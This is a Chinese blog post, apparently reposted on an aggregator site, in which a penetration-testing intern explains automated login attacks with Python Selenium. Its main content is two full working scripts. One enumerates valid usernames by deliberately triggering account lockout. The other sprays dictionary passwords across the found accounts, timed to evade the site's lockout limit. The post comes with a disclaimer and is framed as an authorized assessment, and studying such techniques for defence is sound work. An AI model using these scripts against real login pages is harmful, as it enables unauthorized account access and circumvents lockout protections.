渗透测试——python脚本(selenium模块)暴力破解

这篇具有很好参考价值的文章主要介绍了渗透测试——python脚本(selenium模块)暴力破解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

背景:实习的第二个周的第二个评估网站项目,很明显,这里没有验证码(有验证码的情况也可以用这个方法,具体可以在网上去学习),但是通过抓包账号密码很明显是被加密过的,本来想着通过前端js逆向加密算法,但老大叫我和另一个新入职的同事一人用一种方法,叫我去学习一下python的selenium模块(其实我对逆向前端js也不怎么会)。然后今天告诉我多发点文章,多和别人交流,也就有了这篇文章,也是我人生中第一次在互联网上发表文章,界面如下(由于是实际案例,我就不上完整的图了)。

selenium解密,渗透测试,python,开发语言

关于selenium:这里不做过多赘述,旧版本的也直接过掉,简单说一下安装及使用方法。

安装:pip install selenium

定位元素:ID定位,NAME定位,Class Name定位,Tag Name定位, Link Text定位,Partial Link Text定位,CSS Selector定位,XPATH定位。

 个人最喜欢的也认为是最有用的是最后一种,其他的不做赘述(你随便打开一个网站f12都会发现很多重名的标签,使用必定报错),为什么我喜欢最后一种,因为方便且准确,如下图。直接选中你要定位的地方,鼠标右键复制就有XPATH。

selenium解密,渗透测试,python,开发语言

直接上代码(第一次写文章写到这儿不知道怎么编下去了,慢慢学习)

枚举用户名:思路是一个账号在3分钟以内只能登录5次,也就是36s一次,我设置一个账号连续登录6次,如果被锁了,页面就不会弹用户名或密码错误,就可以枚举出用户名(这个用户名是有规律的,可以用python来生成,这里涉及公司,我就不展示了),并保存到字典。

selenium解密,渗透测试,python,开发语言

import time
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
def login(username,password):
    username1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
    password1=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
    username1.send_keys(username)#输入用户名
    password1.send_keys(password)#输入密码
    login=web.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
    login.click()#点击登录按钮
    username1.clear()#清空用户名框
    password1.clear()#清空密码框
    time.sleep(0.5)#这里sleep()的原因是因为如果跑的太快的话下面的代码会有误报
    islogin=web.page_source.find("用户名或密码错误")==-1#3分钟内相同的账号连续输入错误5次密码账户会锁定3分钟,页面就不会“弹出用户名或密码错误”
    return islogin
def user():
    try:
        user=open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
        while True:
            password=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#这里的密码其实可以不用字典,随便用一个一眼看上去就是错误的密码就行,因为是对用户名进行枚举
            userline=user.readline()
            if not userline:
                break
            userlist=userline.split("\n")
            for i in range(6):#相同的帐号连续登录6次,第六次如果被封锁了那么就是正确的账号,不存在的账号可以无限登
                passline=password.readline()
                if not passline:
                    break
                passlist=passline.split("\n")
                islogin=login(userlist[0],passlist[0])
                print(userlist[0],passlist[0],islogin)
                if islogin:#如果返回结果为真,即页面没有弹出用户名或密码错误,那么这个用户名就是存在的
                    with open("C:\\Users\\Admin\\Desktop\\user.txt","a",encoding="utf-8") as f:#将枚举出来的用户名进行保存
                        f.write(userlist[0])
                        f.write("\n")
    except:#这里设置异常的原因主要是因为我老是直接关闭打开的浏览器,就会报错一片红,看着就烦躁所以就加了。
        print("退出")
if __name__=="__main__":
    web=selenium.webdriver.Edge()# 创建Edge浏览器对象
    web.get("www.xxx.com")#设置要访问的网址,并打开网址。
    user()

用户名枚举结果:

selenium解密,渗透测试,python,开发语言

import threading
import selenium.webdriver# 导入selenium库
from selenium.webdriver.common.by import By# 导入By类,用于指定元素定位方式
import datetime
import time
def loginoa(username,password):
    user=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[1]/input')#这里是对用户名框定位
    pw=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[2]/input')#对密码框进行定位
    user.send_keys(username)#输入用户名
    pw.send_keys(password)#输入密码
    login=driver.find_element(by=By.XPATH,value='//*[@id="login_page"]/div[2]/ul/li[3]/span')#对登录按钮进行定位
    login.click()#点击登录按钮
    user.clear()#清空用户名框
    pw.clear()#清空密码框
    islogin=driver.page_source.find("退出")!=-1#判断登录状态,这个方法是对页面中
    return islogin
def mima():
    try:
        passfile=open("C:\\Users\\Admin\\Desktop\\pass.txt","r")#密码字典
        while True:
            starttime = datetime.datetime.now()#开始时间
            user = open("C:\\Users\\Admin\\Desktop\\aaa.txt", "r")#用户名字典
            passline=passfile.readline()
            if not passline:
                break
            passlist=passline.split("\n")
            #userline=user.readline()
            #if not userline:
                #break
            #userlist=userline.split("\n")
            while True:
                userline=user.readline()
                userlist=userline.split("\n")
                if not userline:
                    break
                #passline=passfile.readline()
                #if not passline:
                    #break
                #passlist=passline.split("\n")
                islogin=loginoa(userlist[0],passlist[0])
                print("用户名:"+userlist[0],"密码:"+passlist[0],"login",islogin)
            endtime = datetime.datetime.now()#结束时间
            a = (endtime-starttime).seconds#时间差
            b=36-a#这里是因为一个账号3分钟内只能登录5次,也就是36s一次,如果同一个账号在36s以内执行第二次,那么就先sleep(b)
            if b<=36 and b>=0:
                time.sleep(b)
                print("我睡了:",b,"s")
    except:
        print("结束")
if __name__=="__main__":
    driver = selenium.webdriver.Edge()# 创建Edge浏览器对象
    driver.get("http://www.xxx.com")#设置要访问的网址,并打开网址。
    a=threading.Thread(target=mima,args='')
    a.start()

运行效果:先遍历账号以相同的密码进行组合登录(因为一个账号只能36s登一次)

selenium解密,渗透测试,python,开发语言

结语:由于第一次写文章没什么经验,专业能力还差很多,我也是在老大的鼓励下,才敢写一点关于自己的三脚猫都算不上的专业知识,如有错误或可以改进的地方,请各位大佬斧正!文章来源地址https://www.toymoban.com/news/detail-785459.html

到了这里,关于渗透测试——python脚本(selenium模块)暴力破解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Kali系统MSF模块暴力破解MySQL弱口令漏洞

    攻击环境使用KALI系统(使用虚拟机搭建)的Metasploit模块,msfconsole是metasploit中的一个工具,它集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具。 这里要特别强调:被攻击的环境必须开启mysql远程登陆服务,通常MySQL开启的端口号是3306,故而一般情况下要求

    2023年04月10日
    浏览(45)
  • python selenium模块联合带带弟弟破解滑块验证码

    Python 使用 Selenium 模块模拟用户操作,滑动滑块来破解验证码

    2024年04月14日
    浏览(64)
  • python暴力破解压缩包密码(python暴力破解zip压缩包)

    简介 : ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料。ZIP通常使用后缀名“.zip”,它的MIME格式为application/zip。当前,ZIP格式属于几种主流的压缩格式之一,其竞争者包括RAR格式以及开放源

    2024年02月03日
    浏览(42)
  • Burp Suite爆破模块中的四种模式的区别详解和演示(暴力破解)

    最近看了好多关于 暴力破解 的博客,其中用的最多的工具就是bp了,但是好多都是一上来给了执行步骤,却没有对爆破的这几个模式选择进行解释,所以今天萌新写个纪录,来阐明这四个模式的区别和作用 四种模式分别为:Sniper、Battering ram、Pitchfork、 Cluster bomb (推荐使用

    2023年04月09日
    浏览(25)
  • python selenium模块联合带带弟弟破解滑块验证码,网络安全面试题内存优化

    #向锁定的element元素输入111值 element.click() #点击该元素 如果遇到同一CLASSBNAME有两个元素 可以使用 element = driver.find_elements(By.CLASSNAME)[1] 这样的方式锁定第二个元素位置    注意:element后面有个s ​ def login(driver,uname,pwd): “”\\\" 某系统登录框输入手机号和密码,并点击成功 “”

    2024年04月12日
    浏览(33)
  • wifi 暴力破解 (python)

    github:https://github.com/baihengaead/wifi-crack-tool

    2024年02月09日
    浏览(37)
  • [渗透测试]—2.3 密码破解技术

    在本节中,我们将介绍一些常见的密码破解技术。我们将涵盖以下技术: 字典攻击 暴力破解 彩虹表 社会工程攻击 密码重置攻击 密码保护存储攻击 离线密码破解 字典攻击是一种破解密码的方法,它使用预先编译的单词列表(字典)作为密码猜测的来源。这种方法通常用于

    2024年02月11日
    浏览(56)
  • Python暴力破解附近局域网WiFi密码

    本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。 先来看看没有图形界面版的爆破脚本。 代码运行效果: 以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:​​​​​​​   脚本运行效果如下: 上述代码实现了依

    2024年02月11日
    浏览(33)
  • Kali渗透测试:散列密码破解

    某些网站的安全机制设置有缺陷,导致自身的关键数据库被渗透。很多用户在不同网站使用的是相同的用户名和密码,因此黑客可以通过获取通过获取用户在A网站的用户名和密码从而尝试登录B网站,这就是“撞库攻击”。 如2014年12月25日开始在互联网上“疯传的”12306网站用

    2024年02月05日
    浏览(29)
  • 渗透测试--5.3.使用john破解密码

    由于Linux是Internet最流行的服务器操作系统,因此它的安全性备受关注。这种安全主要靠口令实现。 Linux使用一个单向函数crypt()来加密用户口令。单向函数crypt()从数学原理上保证了从加密的密文得到加密前的明文是不可能的或是非常困难的。当用户登录系统时,系统并

    2024年02月13日
    浏览(23)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包